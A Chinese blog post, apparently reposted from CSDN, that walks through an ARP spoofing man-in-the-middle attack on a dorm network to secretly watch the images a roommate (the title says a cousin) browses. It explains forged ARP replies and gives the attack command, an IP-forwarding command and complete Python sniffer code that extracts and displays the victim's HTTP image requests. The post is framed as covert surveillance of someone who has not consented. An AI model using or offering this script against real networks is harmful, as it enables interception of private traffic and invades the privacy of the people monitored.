表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

这篇文章研究了arp协议,并且利用python编程实现一次简单的局域网arp攻击,抓取室友网上浏览的图片(滑稽脸)

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

二、arp协议研究

在进行arp攻击之前,先来研究一下arp协议

进群:548377875   即可获取数十套PDF哦!

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

1.arp协议数据包

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

  • op:1(op值为1说明这是一次arp请求)
  • hwsrc:发送方MAC地址(即本机器MAC地址)
  • psrc:发送方ip地址(即本机内网ip地址)
  • hwdst:目标MAC地址(在这里为未知00:00:00:00:00:00)
  • pdst:目标ip地址(即网关ip地址,一般为192.168.0.1/192.168.1.1)

局域网内所有机器接收此arp请求,如果发现请求的ip为自己的ip便会向请求机器发送arp响应,将自己的MAC地址带入arp响应包单播发送给请求的机器,arp响应包主要字段如下

  • op:2(op值为2说明这是一次arp响应)
  • hwsrc:发送方MAC地址(即网关MAC地址)
  • psrc:发送方ip地址(即网关ip地址)
  • hwdst:目标MAC地址(为发起arp请求的机器的MAC地址)
  • pdst:目标ip地址(为发起arp请求的机器的ip地址)

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

  • op:2(op值为2说明这是一次arp响应)
  • hwsrc:发送方MAC地址(攻击者MAC地址)
  • psrc:发送方ip地址(受害者ip地址)
  • hwdst:目标MAC地址(网关MAC地址)
  • pdst:目标ip地址(网关ip地址)

同样的网关在不断接受到此arp响应时也会不断的更新自己的arp缓存去建立错误的关系,我们的kali攻击机便可以双向的截获流量

4.用python实现arp攻击

所需的python第三方库

scapy库:scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造,嗅探或发送网络数据包,这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库,kali默认自带

pip install scapy

模拟攻击环境,一个真实的局域网,就是我们寝室

  1. 自己的kali攻击机:192.168.0.106,装在vm虚拟机中,连接了RT3070型号的无线网卡
  2. 室友的电脑:192.168.0.108,连接同一路由器的无线网
  3. 网关:192.168.0.1

5.编写python代码:

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

6.脚本使用到的scapy库中的几个函数

get_if_hwaddr("本地网卡名称(eth0/wlan0)") 根据所选择的本地网卡获取相应的本地网卡的MAC地址

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

所以我们这样输入可以双向的欺骗网关和目标机器完中间人攻击

python arpattack.py -i 网卡 -t 要攻击的目标的ip地址 -g 网关ip

输入

python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1

选择无线网卡wlan0的MAC地址去欺骗室友的电脑和网关路由器,如果我和室友都插了网线,就要选择eth0

运行脚本便会不断的向室友的电脑和网关发送arp响应包进行双向欺骗,效果如下

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

这时我们截获了室友电脑和网关之间的流量,使其不能相互通信,完成了arp断网

echo "1">/proc/sys/net/ipv4/ip_forward

开启流量转发,这时室友和网关正常通讯,但是流量会经过我们的网卡

接下来用python编写代码查看室友电脑浏览的网页图片,其实不难,因为浏览图片一般都是向服务器发送一次请求图片的http请求,所以只需从经过我们网卡的流量中过滤tcp80端口的数据包(http协议),将数据包的头部层层去掉,最后便能得到应用层的http数据包,在利用正则表达式将http://*.jpg筛选出来即可知道室友请求了哪些图片,python的pcap库和dpkt库可以使我们很容易的得到电脑网卡流量中的http应用层数据包

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

python代码如下stealimg.py

import pcap

import dpkt

import re

import requests

from PIL import Image

from io import BytesIO

from optparse import OptionParser

import sys

urllist=[]

def main():

usage="Usage: [-i interface]"

parser=OptionParser(usage)

parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')

(options,args)=parser.parse_args()

if options.interface:

interface=options.interface

pc=pcap.pcap(interface)

pc.setfilter('tcp port 80')

for ptime,pdata in pc:

getimg(pdata)

else:

parser.print_help()

sys.exit(0)

def getimg(pdata):

global urllist

p=dpkt.ethernet.Ethernet(pdata)

if p.data.__class__.__name__=='IP':

if p.data.data.__class__.__name__=='TCP':

if p.data.data.dport==80:

pa=re.compile(r'GET (.*?.jpg)')#|.*?.png|.*?.gif

img=re.findall(pa,p.data.data.data)

if img!=[]:

lines=p.data.data.data.split(' ')

for line in lines:

if 'Host:' in line:

url='http://'+line.split(':')[-1].strip()+img[-1]

if url not in urllist:

urllist.append(url)

if 'Referer:' in p.data.data.data:

for line in lines:

if 'Referer:' in line:

referer=line.split(':')[-1].strip()

print url

r=requests.get(url,headers={'Referer':referer})

img=Image.open(BytesIO(r.content))

img.show()

else:

r=requests.get(url)

img=Image.open(BytesIO(r.content))

img.show()

else:

pass

if __name__=='__main__':

main()

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

猜你喜欢

转载自blog.csdn.net/qq_42156420/article/details/82114353